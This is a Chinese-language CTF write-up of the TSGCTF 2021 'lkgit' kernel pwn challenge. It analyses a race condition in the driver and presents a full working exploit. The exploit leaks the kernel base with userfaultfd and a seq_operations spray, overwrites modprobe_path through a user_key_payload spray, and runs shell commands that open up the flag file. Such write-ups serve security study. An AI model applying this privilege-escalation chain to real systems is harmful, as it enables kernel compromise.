【userfaultfd+条件竞争劫持modprobe_path】TSGCTF 2021 -- lkgit
前言
入门题,单纯就是完成每日一道 kernel pwn
的 kpi
😀
题目分析
- 内核版本:
v5.10.25
,可以使用userfaultfd
,不存在cg
隔离 - 开启了
smap/smep/kaslr/kpti
保护 - 开启了
SLAB_HADNERN/RANDOM
保护
题目给了源码,其实现了一个 light git
?总的来说,整个过程都没有上锁,所以对应临界区资源存在竞争漏洞:
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include"../include/lkgit.h"hash_object *objects[HISTORY_MAXSZ] = {0}; // HISTORY_MAXSZ = 0x30 static int find_by_hash(char *hash) {int ix;for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)return ix;}return -1;
}static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for (ix = 0; ix != HASH_SIZE; ++ix) {c = 0;for(jx = 0; jx != unit; ++jx) {c ^= content[ix * unit + jx];}buf[ix] = c;}
}static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hash// 对应 hash 的 object 是否已经存在,存在则释放掉if((dup_ix = find_by_hash(obj->hash)) != -1) {// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign object// 存储 objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;req->content = content_buf;req->message = message_buf;// 计算 content_buf 的 hash,结果存储在 req->hash 中// content_buf 的大小为 64,hash 的大小为 16// 所以这里 hash[idx] = content_buf[i] ^ content_buf[i+1] ^ content_buf[i+2] ^ content_buf[i+3]get_hash(content_buf, req->hash);// 返回用户 hash 值if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {goto end;}ret = save_object(req);end:return ret;
}static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];// 返回 content 给用户if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hash// 检查 hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // <=========== stop to bypass kaslrgoto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE))goto end;ret = 0;}end:return ret;
}static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarily// 修改 messageif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // <============== stop to arb_writegoto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}end:return ret;
}static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {switch(cmd){case LKGIT_HASH_OBJECT:return lkgit_hash_object((hash_object *)arg);case LKGIT_GET_OBJECT:return lkgit_get_object((log_object*)arg);case LKGIT_AMEND_MESSAGE:return lkgit_amend_message((log_object*)arg);default:return -LKGIT_ERR_UNIMPLEMENTED;};
}static const struct file_operations lkgit_fops = {.owner = THIS_MODULE,.unlocked_ioctl = lkgit_ioctl,
};static struct miscdevice lkgit_device = {.minor = MISC_DYNAMIC_MINOR,.name = "lkgit",.fops = &lkgit_fops,
};static int __init lkgit_init(void) {return misc_register(&lkgit_device);
}static void __exit lkgit_exit(void) {misc_deregister(&lkgit_device);
}module_init(lkgit_init);
module_exit(lkgit_exit);
MODULE_AUTHOR("TSGCTF");
MODULE_LICENSE("GPL");
题目主要维护的结构体如下:
typedef struct {char hash[HASH_SIZE];char *content;char *message;
} hash_object;typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;
通过源码可以看到,这里保存的是 hash_object
结构体,然后 content => kmalloc-64
,message => kmalloc-32
,hash_object => kmalloc-32
,所以这里 message / hash_object
在同一个 slab-cache
中
然后通过源码可以发现,对堆块的释放仅仅在 save_object
函数中存在:
static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hash// 对应 hash 的 object 是否已经存在,存在则释放掉if((dup_ix = find_by_hash(obj->hash)) != -1) {// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign object// 存储 objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}
而且这里只是释放了 hash_object
,而 content / message
对应的内存都没有释放(:这里其实也算是一个 bug
。而 save_object
是在 lkgit_hash_object
中调用的,每次保存创建的 hash_object
时,都会检查 objects
数组中是否存在相同 hash
的 hash_object
,如果存在则会把原来的释放掉
而前面说了,整个过程都没有上锁,所以可以在执行其它操作时,在 save_object
中将原来的 hash_object
释放掉,这时可能会导致 UAF
漏洞利用
题目开启了 kaslr
,所以第一步就是去 bypass kaslr
,这里主要利用 lkgit_get_object
函数:
static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];// 返回 content 给用户if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hash// 检查 hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【1】 <=========== stop to bypass kaslrgoto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【2】goto end;ret = 0;}end:return ret;
}
这里用户传入的是 log_object
结构体:
typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;
我们可以在【1】
处使用 userfaultfd
使得暂停,然后释放掉 target
,在堆喷 seq_operations
占据释放后的 target
,那么恢复执行后,在【2】
处就可以泄漏 kbase
(:此时复制的 hash
就是 seq_operations
的前 0x10
字节
后面笔者打的是 modprobe_path
,这里主要利用 lkgit_amend_message
函数:
static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarily// 修改 messageif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // 【1】<============== stop to arb_writegoto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】}end:return ret;
}
同样的道理,在【1】
处利用 userfaultfd
使其暂停下来,然后释放掉 target
,此时堆喷 user_key_payload
,并伪造 message
字段为 modprobe_path
,那么恢复执行后,在 【2】
处就是往 modprobe_path
中写入数据
最后 exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}void fail_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004#define LKGIT_ERR_UNIMPLEMENTED 0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN 0xdead1100#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HISTORY_MAXSZ 0x30#define HASH_SIZE 0x10typedef struct {char hash[HASH_SIZE];char *content;char *message;
} hash_object;typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;int fd;
uint64_t kbase;
uint64_t koffset;
char ghash[HASH_SIZE];
char gcontent[FILE_MAXSZ];
char gmessage[MESSAGE_MAXSZ];void add(char* hash, char* content, char* message) {hash_object o = { .content = content, .message = message };ioctl(fd, LKGIT_HASH_OBJECT, &o);memcpy(hash, o.hash, HASH_SIZE);
}void show(char* hash, char* content, char* message) {log_object o = { 0 };memcpy(o.hash, hash, HASH_SIZE);ioctl(fd, LKGIT_GET_OBJECT, &o);memcpy(content, o.content, FILE_MAXSZ);
// memcpy(message, o.message, MESSAGE_MAXSZ);
}void amend(char* hash, char* content, char* message) {log_object o = { 0 };memcpy(o.hash, hash, HASH_SIZE);memcpy(o.message, message, MESSAGE_MAXSZ);ioctl(fd, LKGIT_GET_OBJECT, &o);memcpy(content, o.content, FILE_MAXSZ);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler1(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler1");#define SEQ_NUMS 0x30int seq_fds[SEQ_NUMS];memset(gcontent, 0, FILE_MAXSZ);add(ghash, gcontent, gmessage);for (int i = 0; i < 0x20; i++) {seq_fds[i] = open("/proc/self/stat", O_RDONLY);if (seq_fds[i] < 0) err_exit("open /proc/self/stat");}uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* handler2(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler2");#define KEY_NUMS 0x30char desc[0x10];uint64_t buf[4];int key_ids[KEY_NUMS];buf[0]=buf[1]=buf[2]=buf[3]= koffset + 0xffffffff81c3cb20;memset(ghash, 0, HASH_SIZE);memcpy(gcontent, "ABCD", 4);add(ghash, gcontent, gmessage);for (int i = 0; i < KEY_NUMS; i++) {sprintf(desc, "%s%d", "k", i);key_ids[i] = key_alloc(desc, buf, 8);if (key_ids[i] < 0) err_exit("key_alloc");}memcpy(copy_src, "/tmp/x", strlen("/tmp/x"));uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/x");system("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");system("chmod +x /tmp/dummy");system("/tmp/dummy");sleep(0.3);system("cat /home/user/flag");exit(0);
}int main(int argc, char** argv, char** envp)
{bind_core(0);char buf[0x1000] = { 0 };char hash[HASH_SIZE] = { 0 };char content[FILE_MAXSZ] = { 0 };char message[MESSAGE_MAXSZ] = { 0 };pthread_t thr1, thr2;char* uffd1_buf, *uffd2_buf;fd = open("/dev/lkgit", O_RDONLY);if (fd < 0) err_exit("open /dev/lkgit");uffd1_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);uffd2_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);if (uffd1_buf == MAP_FAILED || uffd2_buf == MAP_FAILED) err_exit("mmap for uffd_buf");register_userfaultfd(&thr1, uffd1_buf+0x1000, 0x1000, handler1);register_userfaultfd(&thr2, uffd2_buf+0x1000, 0x1000, handler2);memset(content, 0, FILE_MAXSZ);add(hash, content, message);log_object* o = (log_object*)(uffd1_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);memcpy(o->hash, hash, HASH_SIZE);ioctl(fd, LKGIT_GET_OBJECT, o);binary_dump("LEAK DATA", o->hash, HASH_SIZE);koffset = *(uint64_t*)(o->hash);if (koffset&0xfff != 0xc20) fail_exit("bypase kaslr");koffset -= 0xffffffff811adc20;kbase = 0xffffffff81000000 + koffset;printf("[+] koffset: %#llx\n", koffset);memcpy(content, "ABCD", 4);add(hash, content, message);o = (log_object*)(uffd2_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);memcpy(o->hash, hash, HASH_SIZE);ioctl(fd, LKGIT_AMEND_MESSAGE, o);get_flag();puts("[+] EXP NERVER END");return 0;
}
效果如下:
总结
题目比较简单,userfaultfd
的艺术其实基本用不了了,但是我发现我越来越依赖 modprobe_path
了,然后 user_key_payload
真是一个比较完美的堆喷对象
相关文章:

【userfaultfd+条件竞争劫持modprobe_path】TSGCTF 2021 -- lkgit
前言 入门题,单纯就是完成每日一道 kernel pwn 的 kpi 😀 题目分析 内核版本:v5.10.25,可以使用 userfaultfd,不存在 cg 隔离开启了 smap/smep/kaslr/kpti 保护开启了 SLAB_HADNERN/RANDOM 保护 题目给了源码&…...

StNet: Local and Global Spatial-Temporal Modeling for Action Recognition 论文阅读
StNet: Local and Global Spatial-Temporal Modeling for Action Recognition 论文阅读 Abstract1 Introduction2 Related Work3 Proposed Approach4 Experiments5 Conclusion 文章信息: 原文链接:https://ojs.aaai.org/index.php/AAAI/article/view/4…...

SpringBoot解决CORS跨域——WebMvcConfigurationSupport
前端请求后端报错了。 状态码:403 返回错误:Invalid coRs request 增加配置类WebMvcConfig Configuration public class WebMvcConfig extends WebMvcConfigurationSupport {Overridepublic void addCorsMappings(CorsRegistry registry) {// 允许跨域…...

Linux之内存管理-malloc \kmalloc\vmalloc\dma
1、malloc 函数 1.1分配内存小于128k,调用brk malloc是C库实现的函数,C库维护了一个缓存,当内存够用时,malloc直接从C库缓存分配,只有当C库缓存不够用; 当申请的内存小于128K时,通过系统调用brkÿ…...

PyTorch中定义自己的数据集
文章目录 1. 简介2. 查看PyTorch自带的数据集(可视化)3. 准备材料3.1 图片数据3.2 标签数据 4. 方法 1. 简介 尽管PyTorch提供了许多自带的数据集,如MNIST、CIFAR-10、ImageNet等,但它们对于没有经验的用户来说,理解数据加载器的工作原理以及…...

助力数字农林业发展服务香榧智慧种植,基于YOLOv5全系列【n/s/m/l/x】参数模型开发构建香榧种植场景下香榧果实检测识别系统
作为一个生在北方但在南方居住多年的人,居然头一次听过香榧(fei)这种作物,而且这个字还不会念,查了以后才知道读音(fei),三声,这着实引起了我的好奇心,我相信…...

2024 年 4 月区块链游戏研报:市场低迷中活跃用户数创新高
2024 年 4 月区块链游戏研报 作者:stellafootprint.network 数据来源:GameFi 研究页面 2024 年 4 月,Web3 游戏领域在经历 3 月创纪录的表现后,迎来了显著波动。比特币自历史高位回调,月跌幅达到 10.4%。与此同时&a…...

排序(一)----冒泡排序,插入排序
前言 今天讲一些简单的排序,冒泡排序和插入排序,但是这两个排序时间复杂度较大,只是起到一定的学习作用,只需要了解并会使用就行,本文章是以升序为例子来介绍的 一冒泡排序 思路 冒泡排序是一种简单的排序算法,它重复地遍历要排序的序列,每次比较相邻…...

springcloud简单了解及上手
springcloud微服务框架简单上手 文章目录 springcloud微服务框架简单上手一、SpringCloud简单介绍1.1 单体架构1.2 分布式架构1.3 微服务 二、SpringCloud与SpringBoot的版本对应关系2022.x 分支2021.x 分支2.2.x 分支 三、Nacos注册中心3.1 认识和安装Nacos3.2 配置Nacos3.3 n…...
Halcon与深度学习框架结合进行图像分析
Halcon 是一款强大的机器视觉软件,而深度学习框架如 TensorFlow 或 PyTorch 在图像识别和分类任务中表现出色。结合两者的优势,可以实现复杂的图像分析任务。Halcon 负责图像预处理和特征提取,而深度学习框架则利用这些特征进行高级分析和识别…...

STL----push,insert,empalce
push_back和emplace_back的区别 #include <iostream> #include <vector>using namespace std; class testDemo { public:testDemo(int n) :num(n) {cout << "构造函数" << endl;}testDemo(const testDemo& other) :num(other.num) {cou…...

解决OpenHarmony设备开发Device Tools工具的QUICK ACCESS一直为空
今天重新安装了OpenHarmony设备开发的环境,在安装过程中,到了工程之后,QUICK ACCESS一直为空。如下图红色大方框的内容一开始没有。 解决方案: 在此记录我的原因,我的原因主要是deveco device tools的远程连接的是z…...
k8s拉起一个pod底层是如何运行的
在Kubernetes中,当你尝试启动一个Pod时,底层的运行方式是由Kubelet服务来管理的。以下是Pod启动过程的简化概述: Kubernetes API Server接收到创建Pod的请求。 API Server将Pod的元数据存储到etcd中,以便于Pod的调度和跟踪。 Sc…...

Java代理模式的实现详解
一、前言 1.1、说明 本文章是在学习mybatis框架源码的过程中,发现对于动态代理Mapper接口这一块的代理实现还是有些遗忘和陌生,因此在本文章中就Java实现代理模式的过程进行一个学习和总结。 1.2、参考文章 《设计模式》(第2版࿰…...

数据结构与算法===优先队列
文章目录 前言一、优先队列二、应用场景三、代码实现总结 前言 之前写过很多数据结构与算法相关的了,今天看一个新的数据结构,优先队列。优先队列类似队列,却又优先于队列,是堆实现的。接下来详细看看。 一、优先队列 优先队列一…...

HTML常用标签-超链接标签
超链接标签 点击后带有链接跳转的标签 ,也叫作a标签 href属性用于定义连接 href中可以使用绝对路径,以/开头,始终以一个固定路径作为基准路径作为出发点href中也可以使用相对路径,不以/开头,以当前文件所在路径为出发点href中也可以定义完整的URL target用于定义打开的方式 _b…...

财务管理|基于SprinBoot+vue的财务管理系统(源码+数据库+文档)
财务管理系统 目录 基于SprinBootvue的财务管理系统 一、前言 二、系统设计 三、系统功能设计 系统功能实现 1管理员功能模块 2员工功能模块 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍࿱…...

快速学习SpringAi
Spring AI是AI工程师的一个应用框架,它提供了一个友好的API和开发AI应用的抽象,旨在简化AI应用的开发工序,例如开发一款基于ChatGPT的对话应用程序。通过使用Spring Ai使我们更简单直接使用chatgpt 1.创建项目 jdk17 引入依赖 2.依赖配置 …...

谈谈 Spring 的过滤器和拦截器
前言 我们在进行 Web 应用开发时,时常需要对请求进行拦截或处理,故 Spring 为我们提供了过滤器和拦截器来应对这种情况。那么两者之间有什么不同呢?本文将详细讲解两者的区别和对应的使用场景。 (本文的代码实现首先是基于 Sprin…...
请介绍下H264的多参考帧技术及其应用场景,并请说明下为什么要有多参考帧?
H.264(也称为H.264/AVC)的多参考帧机制是其编码效率和质量提升的关键部分。这个机制允许编码器在编码当前帧时,参考多个之前已编码的帧。这种多参考帧的方法为编码器提供了更多的选择,使其能够更准确地预测当前帧的内容࿰…...

【WiFi帧结构】
文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成:MAC头部frame bodyFCS,其中MAC是固定格式的,frame body是可变长度。 MAC头部有frame control,duration,address1,address2,addre…...

聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...

自然语言处理——Transformer
自然语言处理——Transformer 自注意力机制多头注意力机制Transformer 虽然循环神经网络可以对具有序列特性的数据非常有效,它能挖掘数据中的时序信息以及语义信息,但是它有一个很大的缺陷——很难并行化。 我们可以考虑用CNN来替代RNN,但是…...
JS设计模式(4):观察者模式
JS设计模式(4):观察者模式 一、引入 在开发中,我们经常会遇到这样的场景:一个对象的状态变化需要自动通知其他对象,比如: 电商平台中,商品库存变化时需要通知所有订阅该商品的用户;新闻网站中࿰…...

深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
如何配置一个sql server使得其它用户可以通过excel odbc获取数据
要让其他用户通过 Excel 使用 ODBC 连接到 SQL Server 获取数据,你需要完成以下配置步骤: ✅ 一、在 SQL Server 端配置(服务器设置) 1. 启用 TCP/IP 协议 打开 “SQL Server 配置管理器”。导航到:SQL Server 网络配…...